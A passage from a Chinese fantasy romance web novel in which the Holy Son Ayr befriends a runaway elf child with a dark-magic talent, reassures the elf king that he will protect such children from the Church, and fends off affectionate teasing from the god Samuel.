最后他一屁股坐在人家门口,双手托腮,圆润的眼珠转来转去,显然小脑瓜子里已经开始想东想西了。 从猜测门内客人的种族,到见到他后应该聊什么样的话题,再到请新朋友带他离开这片伤心地…… 幻想到大家费劲千辛万苦的找到他,跟他道歉,宠着他哄着他,小莫里开心地跺了跺脚。 沉闷的木板撞击声很轻微,艾尔睡得沉,没有一点反应,正在记忆海中挑选片段解封的塞缪尔猛然睁眼,黑眸深邃而冷漠。 祂转头看向旁边不到半臂距离的小崽子,眉眼瞬间柔和了不少。 在别人的地盘都睡得这么熟,真是……没祂在旁边守着可怎么办? 塞缪尔支起半边身体,第二次吻上了他的唇瓣,私自向青年索取了提醒他的谢礼。 艾尔是被某神捏着脸颊叫醒的,他迷蒙一瞬,很快就完全清醒——准确来说,是被吓清醒的。 神明大人那张俊脸离自己只有一拳距离,正戏谑地看着他,像是下一秒就会压下来,吓得他立马抬手抵住塞缪尔的肩,将祂推远了一点。 “怎么了?” 艾尔坐起身,已经做好了短时间内没法再睡的准备,他知道塞缪尔不会无缘无故大半夜的叫醒他。 此时,艾尔已经在怀疑,月黑风高夜,正适合做些偷鸡摸狗的事,塞缪尔该不会想…… “有小偷在门口。” 祂是能自己安静解决的,但是塞缪尔觉得偶尔像温斯特那样用点小心机也不错。 比如有入侵者的时候,不将小崽子叫醒亲眼见证一下,他就意识不到跟自己一起睡觉的重要性。 塞缪尔平日懒得思考,喜欢用武力快速摆平一切,但是毕竟和温斯特是同一个人,同样的脑子和性格,耍小心机的时候如行云流水。 “……”艾尔默默的为刚才的想法道歉,也真如塞缪尔所愿,想着跟大佬同居还是很有好处的。 另外,以塞缪尔的作风,祂居然没有直接杀了打扰祂睡觉的入侵者,还把自己叫醒,似乎是想让他处理…… 难道是考虑到了在精灵族的地盘随意杀人可能会给他带来麻烦?如果不是这样,艾尔很难解释塞缪尔特意叫醒自己的理由。 那点小心机比塞缪尔预想中还要好使,因为艾尔现在还有点小感动! 虽然奇怪精灵族怎么会有小偷,不过塞缪尔都这样说了,艾尔也没怀疑,凝神一听,外面确实有点非常细微的动静。 艾尔悄无声息地打开门,想抓个现行,却只看见了背对着他坐着,只有他小腿高的精灵幼崽,正抓着自己没穿鞋的小脚丫,坐的摇摇晃晃,也不知道小脑瓜里想着什么天马行空的事,对背后有个人盯着他的事毫无察觉。 生命树的味道让小莫里很安心,他在这里待着心情已经好了很多。 艾尔沉默了好一会儿,才徐徐转头看向谎报军情的神明大人:小偷? 塞缪尔默默地撇开了头,大半夜的在别人家门口晃悠,反正祂是想不出入侵者之外的可能了。 艾尔轻轻敲了一下门扉,莫里听到身后的动静,扭头,再抬头,看见了一个银发蓝眸的漂亮哥哥。 因为大哥哥看起来很温柔,莫里也不怕,站起来就跟人搭话。 “晚上好,我叫莫里,是五岁的小精灵。” 他第一次见到其他种族,还是有点紧张的,大眼睛羞涩地瞄一眼,再瞄一眼,“哥哥是来参加陛下宴会的客人,对不对,你是人族吗?” 幼崽声音稚嫩又可爱,小圆脸肉乎乎的,眼形像猫儿一样又大又圆,鎏金色的眼眸天真又纯粹。 艾尔摸了一把小家伙打着卷儿的黑色头发,手感果然很好,“是的,我是人族,你可以叫我艾尔哥哥。可爱的小精灵,你怎么坐在这里?是迷路了吗?” 幼崽扣了扣手,他才不要说自己被惩罚,然后偷跑出来了,万一艾尔哥哥觉得他是坏孩子,要赶他走怎么办? 小莫里眨巴着大眼睛看着人类,“我来找你玩呀。” “?”艾尔不解,这个时间?找他玩?他这几天好像没有见过这个小家伙吧,为什么突然被缠上了…… “小可爱,这个时间你该回家睡觉了,天亮了我们再一起玩吧。” 莫里纠结了一会儿,怯怯看他,“那我可以跟你一起睡吗?”他又没有其它地方能去。 艾尔:“?” 倚在门后的塞缪尔:“?” 看着幼崽一副害怕被赶走的表情,艾尔沉默两秒…… “离家出走了?” 然后他看到幼崽的震惊脸,就知道自己猜对了。 叹息一声,艾尔只能先让小家伙进门了。 莫里进了门才发现里面还有另一个人,与艾尔哥哥不同,那个黑眼睛的大哥哥脸凶凶的,好像不喜欢他……不过他打扰了别人休息,大哥哥生气也是应该的。 塞缪尔等着小崽子把莫名其妙缠上来的精灵送走,祂可不想床上有第三个人。 艾尔点了灯,小莫里四下看了看,就欢快的往床那边跑,停在了床头的柜子前,“原来是生命树叶!”他扭头炫耀自己的嗅觉,“艾尔哥哥,我好远就闻到生命树的味道了,然后我就找过来啦。” 原来如此……他就说怎么会有一个陌生的幼崽找上门。 那片树叶被他放在塞缪尔床边蕴养祂的灵魂了,他们只能闻见正常的清淡草木味,现在看来精灵对此有独特的强烈感应。 艾尔招呼幼崽坐下,从空间戒指中拿了块小蛋糕给他,想着跟他聊一聊,把幼崽劝回家,也不知道现在有没有大精灵在到处找他。 “咦!!好吃!” 对于这种没见过但是看起来很精致的食物,小莫里第一口就爱上了,三下五除二就解决完了四寸的小蛋糕,然后双眼亮晶晶地看着大哥哥。 “还想吃?” 莫里想点头,但是犹豫了一下,还是艰难地说不,“这么好吃的东西,一定很少见,艾尔哥哥留着自己吃吧……” 艾尔被甜到了,又摸了一把幼崽的头发,“这么乖这么贴心的宝贝,怎么会离家出走呢?是受了什么委屈啊?” 另一边,塞缪尔却被他给甜到了,要找个机会让小崽子这么温柔地哄祂才行…… 莫里已经好多天没有得到夸夸了,现在一有人哄,委屈瞬间爆发,艾尔就见他瘪瘪嘴,然后哇哇大哭了起来,眼泪跟掉了线的珠子一样往下掉! 啊?怎、怎么了?他刚才是在夸奖不是在骂人吧?幼崽为什么哭了啊!!! 艾尔手足无措地看向了房内另一个成年人,却见塞缪尔一副被魔音贯耳到受不了,想把幼崽丢出去的表情……靠,打架之外的事是指望不了这家伙的。 艾尔将幼崽抱在自己怀里,拍拍他的背安抚着他,“怎么了?” 小莫里哭了一会儿,才哭哭啼啼地诉说自己的委屈。 艾尔听得不可思议,完全看不出来啊,精灵族居然也鸡娃?! 而且莫里才五岁,作为长寿种,他觉得不用急这十年百年的吧!而且精灵王看起来这么松弛的性格,对幼崽的要求居然这么严格? 他站在莫里这边,委婉批评大精灵们确实过分了,塞缪尔看小崽子那副傻样,幽幽提醒了一句,“他是暗系天赋。” 艾尔:“…………”哦,懂了。 小莫里不知道两个大哥哥在打什么哑谜,还窝在光明·应当清除掉所有暗系天赋者·圣子的怀里,傻愣愣地点头,“嗯嗯,我是暗系天赋。” “好巧……我是光系天赋。” 小莫里不知道这有什么巧的,他和艾尔哥哥又不是同一类天赋,“安其罗长老也是光系耶!我们族里光暗天赋出现的最少啦,现在只有我跟哈瑞斯长老是暗系呢。” 多年来,精灵们一直对教廷宣称,他们族内没有诞生过光暗系的幼崽。 其实光系肯定是安全的,但只有光系显然概率不对,平衡不对,没有理由你精灵族只出光系啊!所以他们将光系的存在一同瞒下了。 很久之前教廷的人还委婉质疑过这件事,精灵族理直气壮:你们人族数量这么庞大,光系暗系都是罕见的,我们精灵这么少,没有这两种天赋不是很正常吗! 生命树可以孕育出光暗系,但这不是目前为止还没有嘛,出现了我们会告诉教廷的! 反正那些神官很少出现,也不能进行搜查,精灵族瞒的毫无压力,只是没想到在他们不知情的时候,被幼崽一咕噜全捅给光明圣子了! 艾尔:有这样诚实的好孩子,真是精灵族的福气啊。 他看幼崽毫无防备的样儿就知道,莫里根本没有听说过如今世界光暗对立的现状。 精灵族可能是不想让幼崽伴随着担忧、害怕和仇恨长大,还没有告诉他这个世界上有一个庞大的、难以匹敌的组织,一心一意想清除掉他这样的天赋者,想着等幼崽长大了,再告诉他也不迟。 艾尔几乎能肯定,莫里最近受的委屈,只是精灵族找的借口,想将他藏起来,避开自己这个光明圣子。 他猜等他离开后,大精灵们一定会好好哄一哄小幼崽的。 作为害幼崽受委屈的罪魁祸首,艾尔有点点小心虚,当即拿出几本从深渊中拿出来的暗系魔法书,送给莫里当礼物。 “刚好哥哥前段时间得到了这些书,莫里一看就是很聪明,天赋很高的孩子,把这些书送给你才是物尽其用。” 幼崽还没有学会成年人的客套,收到这种礼物不会装出高兴的样子,他小嘴撅的老高,没有幼崽喜欢学习,没有! 但莫里还是乖乖的道了谢。 艾尔接着拿出一颗漆黑到像是能吸尽周围亮光的顶级暗元素矿石,“这是深渊之眼,也送给你,莫里可以拿去做一根很厉害的法杖。” “哇——”幼崽欢欢喜喜地接过装着矿石的盒子,他很喜欢,这块大宝石散发的气息让他很舒服。 “可是……莫里不能收这么贵重的礼物。”幼崽摸了一下,才恋恋不舍的把盒子递回去。 “不贵重呀,这个东西是别人送给哥哥的,一个铜币都没花呢,但是我是光系嘛,用不上,送给莫里才不浪费。” 懂事的幼崽又纠结了一会儿,才被青年说服,收下了大宝石。 然后艾尔费了好大的劲,帮大精灵们说好话,调和幼崽和他们的关系,终于把幼崽哄好了,愿意回去了。 小精灵期待地看着银发青年,“他们真的不会再禁足我了吗,莫里好想和大家一起参加宴会的,还想再跟艾尔哥哥一起玩……” “不会的,如果天亮后见不到莫里,哥哥就去找陛下说情,好吗?” 反正天赋的事情都暴露了,大精灵们再藏着莫里也没有意义。 “那好叭,莫里相信哥哥,我要回去找哈瑞斯长老了,他现在一定在找我。” 艾尔抱着幼崽将他送出门,莫里搂着青年的脖子,亲了他脸颊一口,甜甜地说,“谢谢艾尔哥哥!”然后才扇着小翅膀飞走了。 艾尔再次被软乎乎的幼崽可爱到了,心情愉悦地关门,转身,然后对上了脸黑如墨的塞缪尔。 “怎么了……”刚才表情也没那么难看啊。 塞缪尔捧起漂亮青年的脸,拇指重重地擦过那精灵幼崽亲过的地方,艾尔懂了,这是对自己所有物的占有欲和洁癖又犯了。 好脾气的等塞缪尔擦了好几下,艾尔才拿下祂的手,“好了好了,干净了,该睡觉了。” 他迅速灭了灯,跑上床,躺下,动作一气呵成,希望塞缪尔也能安静下来,别闹其它幺蛾子了。 塞缪尔不爽地上床,在青年旁边坐着看着他。 寂静的黑暗中,神明大人忽然凑近青年,“你把我捡回家,养了我,一直都对我很好,我是不是还没有跟你说过谢谢?” 艾尔睁眼看祂:啊?这是塞缪尔的台词吗? 俊美的神明低下头,吻上了漂亮人类的脸颊,磁性悦耳的声音带着细微笑意,“谢谢艾尔哥哥。” 艾尔:“!!!” 第097章 第 97 章 啊!!!发生了什么?塞缪尔刚才是不是亲了他? 这是成年人该有的道谢方式吗? 哦…塞缪尔不算人……但就算这样!说这种话、做这种事, 也完全不是祂的作风啊! 艾尔实在想不通,甚至已经开始怀疑,这具身体里是不是还藏着第三个意识——喜欢亲亲抱抱的好色之徒。 片刻过去, 塞缪尔看他没动静,只睁大了眼睛傻呼呼地看着祂, “怎么不说话?” “……”说什么?问你是不是疯了? 塞缪尔捏了一下小崽子的脸, “呼吸。” 艾尔这才反应过来, 自己刚才震惊到直接呆住,忘记呼吸了。 此时, 塞缪尔脸上细微的笑意仍未褪去, “你心跳好快。” “……”废话, 没被你吓死都不错了,心跳加速算什么。 “脸也红了。”夜晚对祂的目力没有影响, 塞缪尔能清晰地看到白皙脸颊染上了一抹诱人的红晕。 祂用了很大的意志力才没让自己的视线落在青年的唇上,小崽子太可爱了,祂怕一时没忍住,直接亲下去了。 漫长神生第一次如此克制自己, 塞缪尔很不耐烦, 奇怪的是,祂觉得这是值得的,就像等一颗果子成熟, 要在合适的时机摘下, 才是甜的…… 此时, 塞缪尔离青年很近, 两人气息交缠, 艾尔甚至能感受到对方身体的热气。挨着这么大一个热源,他当然会热到脸红了! 不知道为什么……被塞缪尔点出来之后, 他觉得更热了一点,耳朵都有点发烫了。 艾尔推开了塞缪尔,一个起身坐了起来,神色复杂地盯着对方,“你……为什么要亲我?” 塞缪尔半点不心虚,“表示感谢,就像刚才那个幼崽那样。” 因为现在都熟到又亲又抱了,艾尔对祂早就没了忌惮,木着脸吐槽道:“你刚出现的时候可是把我当仆人使唤的,现在想起来说谢谢?而且你……”居然叫他哥哥?! 因为过于羞耻,艾尔都没好意思说完。 明明和温斯特用的同一张脸,温斯特这么叫他就习以为常,换做塞缪尔……艾尔总觉得祂的叫法不对劲,像是带了钩子,现在一想起来,记忆中的那道声音清晰到仿佛又在耳边重播了一遍,听的他浑身一颤。 塞缪尔啧了一声,“我那时候还不习惯跟旁人相处,所以……抱歉。” 艾尔看神明大人不适应的,艰难的道歉,噗嗤一声,“这有什么好道歉的,即便是不熟的时候,我也没有对你不满过。” 艾尔已经被转移了注意力,他原本是想和塞缪尔好好谈一下不能随便亲人的事情,但此刻他突然想起前几日的养宠物猜测……主人会对宠物道歉吗? 尤其是像塞缪尔这样高傲的主人。 他试探着问道:“你想养一只宠物吗?你喜欢什么样的魔兽,回头我们就去找一只养怎么样?” 在房间角落的宝石堆里趴着的魔龙崽警觉抬头,委屈巴巴,“嗷~”龙龙不想要其它伙伴来跟它争宠! 两人无视了那声嗷嗷叫,塞缪尔挑眉,“什么东西?没兴趣。”脸上尽是不屑和不耐。 “你最近是不是感到心里空落落的?总想触碰别人,和人说话打发时间?” 塞缪尔眯着眼睛看了他一会儿,才含糊嗯了一声,这是事实。 艾尔想到某种可能,干巴巴地问:“那我们每天都这样,你心里还空吗?”其实他真正想用的形容词是,空虚寂寞冷,但是为了不刺激到塞缪尔,也不想刺激自己,艾尔的用词很委婉。 塞缪尔很诚实,直接点头,“空,是我们接触的还不够多。” 艾尔:“…………”他懂了。 他刚才忽然间灵光一闪,想到前两日早上温斯特那点儿反应,准确的来说,肯定不止那天早上,这种事常有发生,只是平时分开盖被子艾尔没留意。 艹……艾尔终于意识到一件事,既然温斯特的身体产生了欲.望,同用一个身体,塞缪尔肯定也到了那个阶段啊! 所以塞缪尔最近才变得黏黏糊糊,喜欢肢体接触,根本不是什么把他当宠物养,是无意识的在……吃他豆腐。 艾尔眼睫一颤,万幸塞缪尔以前当神没有这方面的经验,不知道自己现在是什么情况,具体该怎么疏解,不然自己面对的就不止亲脸颊这种小事了。 看来该给祂找的不是魔宠,是伴侣才对! 艾尔思维不住发散,想得越来越远:如果温斯特和塞缪尔哪天真的有喜欢的人,肯定就不会跟他一路走南闯北了……这么一想,他不禁有些失落。 但是失落了没多久,艾尔又忽然想起,不对啊,这俩是武痴,事业批人格,自己陷入爱恋的机会都比这俩大的多。 再这样下去也不是办法,天天睡一起,说不定哪天塞缪尔就擦枪走火了,还是让温斯特教一下这个单纯的神明什么叫朋友之间的正常距离和接触吧。 塞缪尔看小崽子不说话了,反而神游天外,又捏了一下那柔软微凉的脸颊,“想什么呢?” 艾尔幽幽叹息,“没什么。” 神明大人勾唇,愉悦地点破,“你肯定在想我。” “……”事实是没错的,但是被塞缪尔用这种语气说出来,怎么有点……暧昧的样子。 塞缪尔估计是问不出来小崽子究竟在想什么,便回到了之前的话题,“刚才你不是问我心里空不空?然后呢,你打算以后不睡觉了,多花时间陪我吗?” 哼,想什么呢,艾尔颇有些赌气道:“不,我打算以后把贝诺交给你养,你可以一直抱它亲它,想摸就摸。” 龙崽:“嗷??”它不会说人话,就没有人权吗?龙龙只要漂亮主人养呜呜! 塞缪尔嫌弃地看它一眼,转而看着青年的时候又是另一副截然不同的面孔。 祂双手撑着床铺,上身后仰,深邃的黑眸幽幽看着轻抿着唇,低垂着眼帘似乎不想看祂的小崽子,学着温斯特的语气,低落又委屈:“哥哥嫌我烦了,都不想跟我在一起了……” “!!!” 被一声哥哥叫得耳朵发痒,艾尔总觉得自己被调戏了。 青年眼神复杂地看着祂,语气沉重,“你变了,你以前不是这样的。” 说完他觉得哪里不对,这台词好像在电视剧里听过…… 再谈下去就没完没了了,艾尔躺下,转身背对着某神,“我要睡觉了,晚安。” 身后传来一声低笑,纵使艾尔同为男性,也得承认这家伙声音有点性感撩人……他被烦的提起被子直接蒙住脑袋。 另一边—— 小莫里飞到半路就被正在到处找他的大精灵给抓住了。 “莫里!你怎么能偷偷跑出去?!你知道大家有多担心吗!” 女精灵因为太着急,声音有些尖锐,在幼崽听来就是在凶他。 小莫里抱紧怀里的礼物,眼睛里又噙着泪水了,“对不起……明娜姐姐。” 明娜不敢让他在外面多停留一会儿,便没有悉心安慰他,抱起幼崽就往禁足地那边飞,路上遇到其他精灵,让他去通知大家幼崽找回来了。 很快,小莫里就被交到了同为暗系精灵的哈瑞斯长老手上。 本来还以为会被批评很久,但是长老看着抽噎的幼崽,只抱着他,长长地叹息一声。 哈瑞斯知道小莫里这几天受了委屈,本就愧对幼崽,怎么还忍心责骂……莫里又不是故意让大家担心的,他只是什么都不知道而已。 年迈的精灵温柔地安抚了他几句,见没有被责骂,莫里很快就止住了眼泪。 哈瑞斯心情放松了一点,这才注意到幼崽一直抱着的东西,几本手札和一个盒子,他慈爱笑道:“小莫里,你刚才回自己的屋子拿东西去了吗?都是什么宝贝啊,这么重要,还偷偷跑出去拿过来。” 提到这个,幼崽终于露出笑脸,“这些都是艾尔哥哥送我的礼物!” 莫瑞斯还以为是哪个精灵,就是这个名字有点陌生,“谁啊?” 幼崽坐在长老大腿上,开心地晃着小脚丫,“就是来参加宴会的客人嘛~艾尔哥哥是很好看很温柔的人族!莫里喜欢他!” 人族?这次来访的不就三个人族……还都是教廷成员,对了,艾尔…艾尔菲斯! 好嘛,幼崽这是直接撞上光明圣子了!! 莫瑞斯心脏突突直跳,慌里慌张地拿过莫里抱着的礼物翻看了一下——黑暗魔法书,暗系矿石。 莫瑞斯抱着几乎没有的希望,颤抖着声音问幼崽,“他知道你是黑暗系天赋的精灵了?” “知道呀~莫里都告诉艾尔哥哥了,所以他才送给我这些礼物嘛。” 长老眼前一黑,千防万防,这臭小子居然自己送上了门! 他慌忙地捞起幼崽,去找陛下决定接下来要怎么处理了。 长老眉眼发狠,琢磨着反正来的只有三个实力不怎么样的年轻人,干脆让王把他们灭口算了! —— 清晨,一夜没睡着的艾尔早早起床收拾好了自己,刚在梦中接收完一段遥远记忆的温斯特醒来后,就看见哥哥面无表情地坐在桌前翻着手札。 还没开始交流,温斯特就感觉到哥哥的心情不太美妙…… 然后他回忆了一下半夜发生的事情,心情也不好了——都怪塞缪尔那家伙胡来! “早安,哥哥。” “嗯…早安。” 看人还愿意搭理他,温斯特悄悄舒了一口气,麻利地收拾好自己。 “过来。” 听见哥哥在叫他,温斯特乖巧的过去了。 眉目温和的青年倒了杯茶给他,“喝点水。” 他的态度让温斯特感到了一丝怪异,却还是没有犹豫的喝完了。 这茶跟他们平时喝的花果茶不一样,有一丝清苦的味道,像魔法药剂,但他也没多想,反正哥哥不可能害他就是了。 第098章 第 98 章 艾尔在学院的时候, 魔药课学的很认真,虽说他更专注于魔法和剑术,对魔药没有进一步的研究, 但起码了解很多魔植的基本属性和药效。 他今天便拿了三种泡茶——就是那种能下火的药茶,日常喝有助于平心静气, 没有任何副作用, 希望有效果, 让温斯特和塞缪尔清心寡欲一点。 艾尔又给他倒了一杯,“这是好东西, 多喝点。” 嗯?什么好东西, 难道跟哥哥送给他用的生命树叶有相似的效果? 哥哥总是这么贴心, 对他大方无私,所以塞缪尔这种对自己所有物占有欲这么强的家伙, 才会愿意和哥哥共享神殿宝库啊…… 温斯特心里暖暖的,笑着将杯子递到唇边,“这是什么啊哥哥?” “哦,这个嘛~”青年神色淡淡地瞥了眼温斯特的下半身, “我看你和塞缪尔最近火气重, 不太舒服的样子,就想帮你们永绝后患。” “噗——” 温斯特被呛着了,连连咳嗽, 背冒冷汗, 艾尔看他那震惊无措的样子, 愉悦地笑弯了眉眼, “开玩笑的, 这你也信。” 每次在塞缪尔那里吃了亏,他转头就来欺负温斯特, 啧,他可真坏。 坏哥哥将整壶药茶都拎到弟弟面前,“就是有助于降火气的,放到你空间戒指里,没事就多喝点。” “哦…”温斯特心里明白哥哥这是在防塞缪尔,要帮祂冷静一下,他不放心地确认,“真的不会对我的身体有损伤吗?” 说的是身体,细指的就是某个部位,艾尔好笑道,“你还不相信我吗?况且,就算真有问题,我也能用治愈术治好你。” 温斯特当然相信哥哥不会害他,但谁让哥哥刚才开那种玩笑,是个男人都会因此变得更敏感一些。 随后艾尔委婉的跟弟弟聊了聊塞缪尔对人类礼仪常识的缺乏,一些举动很容易让人造成误会,让弟弟好好教一下祂哪些事情不能做。 温斯特:“……”祂缺乏个屁的常识,祂有自己所有的记忆,什么可以做、什么不该做,清楚的很! 但如今的温斯特已经不会再告状去挑拨哥哥和塞缪尔之间的关系了,他越来越清晰的认识到,自己是塞缪尔的一部分,等恢复了所有记忆,他就会变得像塞缪尔那样完整,所以……给塞缪尔挖坑不就等于给自己挖坑? 温斯特没有捅破塞缪尔明知故犯的事实,只是点头接下哥哥交给他的小任务,他会让塞缪尔收敛一些的,但他也确信,那家伙还是会我行我素。 真羡慕啊…… 温斯特也想像祂那样放肆一些,但是他一旦作出出格的行为,聪明的哥哥一定会察觉到他的心思,然后就会疏远他……像如今这样同住一间房的好事就别想了。 谈完某件小事后,两人打开房门就看见了守在门口的精灵侍从,显然她已经等候多时了。 今天,黛娜明媚的脸庞没有带着友善的笑容,反倒藏着不明显的警惕,“圣子殿下,我们陛下想要见您。” 青年似乎没有留意到精灵态度的变化,一如既往的笑着回应她,“好,那我们现在就过去吧。” 他们飞过百米,路过了亚尔林的住处,艾尔停留了一会儿,将他的骑士叫出来一起去见精灵王。 黛娜迟疑了一下,小莫里说的是光明圣子和黑眸骑士知道他的天赋,所以她刚才见温斯特跟了过来也没有阻止,但是另一名骑士…… 算了,黛娜很快就想开了,这么大的事情,圣子也一定在夜里就告知了骑士,现在只希望他还没有联系教廷,但黛娜明白,这种可能不大。 想到这里,黛娜实在提心吊胆,便直接问了,“殿下,教廷那边已经派人过来了吗?” 青年疑惑看她:“嗯?为什么要派人过来?我没有收到报备,应该不会有人族再来了,黛娜。” 人类面容姣好,银发随风轻扬,洁白的光翼显得他圣洁而美好,一副不会说谎的样子。 黛娜恍惚一瞬,随即皱眉,在跟她装傻吗? 可是……小莫里说圣子对他很好很温柔,她们检查了那些礼物,都是很珍贵的东西,对暗系天赋来说确实非常有用。 不不不?人族诡计多端,说不定是为了稳住他们以便安全离开的权宜之计。 艾尔已经隐隐察觉到附近藏着几只精灵了,弄得跟看押似的,但他一点儿也没压力,身边有个大杀器他怕什么。 别说,虽然塞缪尔经常弄得他哭笑不得,安全感却是实打实的。 —— 银发青年环视了周围十几位看起来就很有地位的大精灵,“各位日安。” “陛下,我今天正想要过来拜访您,刚好您也想见我,这真是太巧了。” 精灵们疑惑地打量着看起来一派轻松、毫无异色的光明圣子,甚至开始怀疑莫里遇见的人族是不是他……你倒是给“天性邪恶”“生来注定会带来灾祸”的黑暗天赋者一点重视好吗! 新朋友对精灵族有了威胁,海因里希现在有些失望,他苦笑一声,“艾尔想拜访我?是有什么事要谈吗?” “是这样的,我昨夜遇见了一个离家出走的小精灵,莫里,他……” 众精灵:果然他要说精灵族隐瞒天赋的事情了! 老天爷,小莫里昨夜没有受到伤害真是个奇迹!难道是这个圣子对幼崽还抱有一丝仁慈? “他才五岁,我认为各位不应该给他太大的压力,长久下去会影响孩子的心性,也影响你们之间的感情,作为精灵,莫里还有很长的时间去学习,不必急于一时,他很期待给您庆祝诞辰的,我答应了他要来帮他说情,所以陛下……看在我的薄面上,能不能不要禁足他了。” 精灵族:嘎? 他们迷惑,他们深思——哦~这家伙一定是故意装出无害的样子,等安全离开森林后就会带人回来搜寻暗系精灵! 海因里希沉默了一下,“嗯,你说得对,确实不该给幼崽太大压力,我们会放他出来的。” 反正秘密都被捅破了,也没有藏着幼崽的必要了。 精灵王叹息一声,“谢谢你,没有伤害莫里。” 青年偏着头,不解询问,“我怎么会伤害一个无辜幼崽?” 莫瑞斯长老气闷的拄了一下法杖,“你们教廷杀害暗系天赋者的时候,还在乎是不是无辜,是不是幼崽?” 此前一无所知的亚尔林愣了一下,很快便反应过来,靠圣子更近了一些,开始警戒四周。 银发青年转头,直视着这位暗系的长老,心平气和道:“我认为,教廷应该消灭的黑暗,是威胁到无辜生灵的邪恶人物,就像抓走菲比的人贩子,奸杀少女的好色之人,以残害生命为乐的暴徒,不择手段敛财的贪婪之辈,而不是什么错都还没犯的暗系天赋者。” 在场精灵集体迷茫……是他们有些年没跟光明教廷接触,时代变了? 莫瑞斯狐疑道:“教廷的神官们现在都是这么想的?” “哦……”艾尔轻描淡写道:“很遗憾,绝大多数神官都走错了路,他们误会了吾神的指示,吾神看重的是心灵的光明,不要产生污秽的想法,而不是打压天赋与光明相对的黑暗系。” 众精灵:他们怎么觉得在教廷里走错了路的是这个光明圣子!他跟所有同僚都背道而驰了吧?! 海因里希笑了一下,难怪艾尔作为教廷的一份子,给他的感觉却很好,除了身份,他没有哪一点和其他神官相似。 “听艾尔这么说,教廷对莫里而言仍旧非常危险,希望艾尔没有把莫里的消息传递回去。” “这是当然,我会保护无辜的幼崽。”青年忽然又对着莫瑞斯长老笑了一下,“还有其他无辜的暗系天赋者。” 莫瑞斯眯了眯眼,“你是说,如果以后教廷发现了暗系天赋的孩子,你会保护他不被处以火刑?” “当然,如果我能及时赶到的话。” 另一个精灵长老摇头,“你一人,怎么能违背教廷的意愿,你终究什么也做不了。” 显然青年不这样认为,“我是光明神大人亲选的圣子,祂信任我,让我引导信徒们成为公正、仁慈之人,我的意愿就代表了吾神的意愿,神官们自然该认真听取我的意见。” 精灵欲言又止:是不是主次颠倒了?但是好像又没毛病! 不过这位圣子还是太单纯了,没有绝对的实力,这个古老腐朽的庞然大物怎么会做出改变呢。 他们如此想着,却见那温和良善的青年眯了眯眼,“我有罢免教皇冕下之外任何神官的权力,谁违法犯罪,残害无辜,我就处决谁。我年轻,实力不足,但如今的女王陛下是我姑姑,我随时都能从王室借调人手。” 艾尔说了一句资本家的台词:“主教这么高的地位,他们不想干,有的是人想干。” 他才不管新上任的是不是真信徒,他只在乎下属够不够省心。 反正被带到教廷、被任命圣子都违背了他本身的意愿,那他“胡作非为”让自己过得开心点怎么了? 大不了就是教廷不满他,把他逐出去嘛,左右他也不在乎什么圣子之位。 刚刚还认为青年单纯的精灵:“……” 哦,没有实力,但是有权力和人脉。 嘶——教廷好像不小心给自己招了个祸害进门,这真是……太好了! 异族都信仰不同的神明,他们都不想搭理人族的其它势力,当然更不想搭理整天传散虚假神明传说的光明教廷。 奈何光明神是如今唯一能苏醒,能降下神谕,能给予信徒庇护的神明,明晃晃的教廷靠山。 异族担心完全不搭理教廷,会被他们穿小鞋,被降下神罚,所以才勉为其难的和教廷保持联系。 尤其是精灵,他们族内传下来的古老手札里记载,他们最爱的自然女神和黑暗神是关系很好的姐弟。 (塞缪尔:?) 精灵相信女神的眼光,所以对教廷诬陷女神弟弟的行为很看不惯。 况且他们族内还会诞生暗系天赋的幼崽,教廷简直就是个大威胁! 如今教廷内有高层愿意整顿风气,对精灵族来说是个大好消息,啊~真是迫不及待的想看到圣子殿下成为教皇的那一天呢。 海因里希对生灵的情绪很敏感,他知道艾尔说这些话的时候非常真诚,不是什么为了安全离开的权宜之计。 这真是太好了,他不用伤害新朋友了!只是…… “艾尔,我相信你不会做伤害小莫里的事,但是你的骑士……我们可以信任他们吗?” 海因里希看向了不管圣子说了什么,面容始终冷淡的亚尔林。 其实他对两个骑士都完全没有了解,但莫名其妙的,感觉那个脾气不太好的黑眸青年是可以信任的。 亚尔林冷静回答,“诸位不必担心,我忠于殿下,而非教廷,不遵循教规行事。” 就算这个人不是光明圣子,只要他愿意留下自己,亚尔林就会追随他的。 而刚才殿下的那番妄言,只会让亚尔林更加信服他而已。 艾尔点头,“他们都是我的人。” 精灵恍然,难怪这次教廷来人如此之少,原来是圣子不想带思想合不来的,只带了心腹啊! 莫瑞斯对青年的态度和善了很多,“殿下送给莫里的礼物对他很有用,我代他欠你一个人情。” 艾尔不在意地笑道:“请不要客气,那些都是我暗系天赋的朋友们送的礼物,帮我了解这类天赋而已,送给莫里才是物尽其用,一直留在我手上才是浪费。” 他知道精灵族的秘密,让对方也知道他的立场和一点小秘密,大家就能更信任彼此了。 果然,精灵们对开明到有暗系天赋者友人的圣子殿下更喜欢了,真是难得遇到这么顺眼的人族! 双方谈的很愉快,预想中剑拔弩张的画面根本没有发生,这么顺利还多亏了青年身上大堆信仰带来的正面buff,还有精灵族天生的情绪感知天赋。 等会面结束,小莫里很快就被放了出来,“呜呼!艾尔哥哥最棒了!他没有骗我~我真的能出来参加宴会啦!” “长老爷爷,我要去找艾尔哥哥啦~” 莫瑞斯放心地摆手,“去去去,吵死人的小崽子。” —— 在宴会到来之前,艾尔已经跟所有异族使者打好了关系。 其实他和矮人、地精、兽人早有联系,只是那是商业上的合作,他们完全不知道近几年来大肆敛财的连锁饭馆旅馆背后的老板是他。 异族也是没想到这个圣子这么好相处,青年聊天的时候完全没提教廷啊光明神啊相关的扫兴事。 能跟矮人谈铸造,还能提出一些很新颖的点子。 能跟地精谈生意,聊赚钱之道。 能跟兽人这群肉食爱好者谈怎么烹饪更好吃,还分享了美味的肉脯。 他就是兽人使者们的恩人!这两日在素食爱好者的族地里他们简直食不知味! 最重要的是,这个圣子还很尊重他们信仰的神明,很愿意听他们讲久远的传说。 这些异族都有些不可置信,这个人类根本不像光明圣子嘛,哦,他的两个骑士也不像教廷那些规矩森严的圣骑士。 教廷是怎么养出跟其他神官们截然不同的圣子的?这才是神迹啊! 艾尔愉悦地眯了眯眼,就是要把朋友搞得多多的,他才更有安全感。 —— 宴会那一日,被禁足受罚的菲比也被放了出来,虽然还在跟暴露她秘密的艾尔哥哥赌气,却和莫里一样,一直跟在青年身边打转。 精灵的风格就是轻松自由,所以宴会并不高端大气,大家就是准备好了非常漂亮自然的场地,准备了足够的食物,还有各种节目,所有精灵和客人都到场吃吃喝喝,载歌载舞就行了。 这是艾尔在这个世界上参加的最轻松快乐的宴会了,他被那源源不断的热情感染,嘴角始终洋溢着笑容。 